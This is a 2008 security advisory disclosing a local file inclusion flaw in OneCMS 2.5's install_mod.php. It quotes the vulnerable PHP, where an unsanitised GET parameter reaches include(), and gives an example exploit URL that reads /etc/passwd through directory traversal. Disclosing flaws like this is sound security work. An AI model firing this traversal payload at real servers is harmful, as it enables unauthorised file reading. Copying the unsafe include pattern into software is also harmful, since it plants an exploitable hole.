DSECRG-08-025.txt

2008-05-23T00:00:00
ID PACKETSTORM:66626
Type packetstorm
Reporter Digital Security Research Group
Modified 2008-05-23T00:00:00

Description

                                        
                                            `  
Digital Security Research Group [DSecRG] Advisory #DSECRG-08-025  
  
  
Application: OneCMS  
Versions Affected: 2.5  
Vendor URL: http://www.insanevisions.com/  
Bug: Local File Include  
Exploits: YES  
Reported: 26.03.2008  
Vendor Response: NONE  
Solution: NONE  
Date of Public Advisory: 23.05.2008  
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)  
  
  
  
Description  
***********  
  
Local File Include vulnerability found in script install_mod.php  
  
  
Code  
****  
#################################################  
  
$mod = $_GET['load'];  
$filexp = explode(".", $mod);  
$filetype = $filexp[1];  
$file = $filexp[0];  
$file2 = "mods/$mod";  
  
if (!is_numeric($mod)) { // makes sure that the user isnt entering a #  
if ($filetype == "php") {  
if ($_GET['act'] == "") {  
echo "Are you sure you would like to install the <b>".$file."</b> module?<br><a href='install_mod.php?load=".$mod."&act=go'>Yes</a>";  
}  
if ($_GET['act'] == "go") {  
include ($file2);  
...  
  
#################################################  
  
  
Example:  
  
http://[server]/[installdir]/install_mod.php?act=go&load=1234.php../../../../../../../../../../../../../etc/passwd  
  
  
  
About  
*****  
  
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.  
  
  
Contact: research [at] dsec [dot] ru  
http://www.dsec.ru (in Russian)  
  
  
  
  
  
  
  
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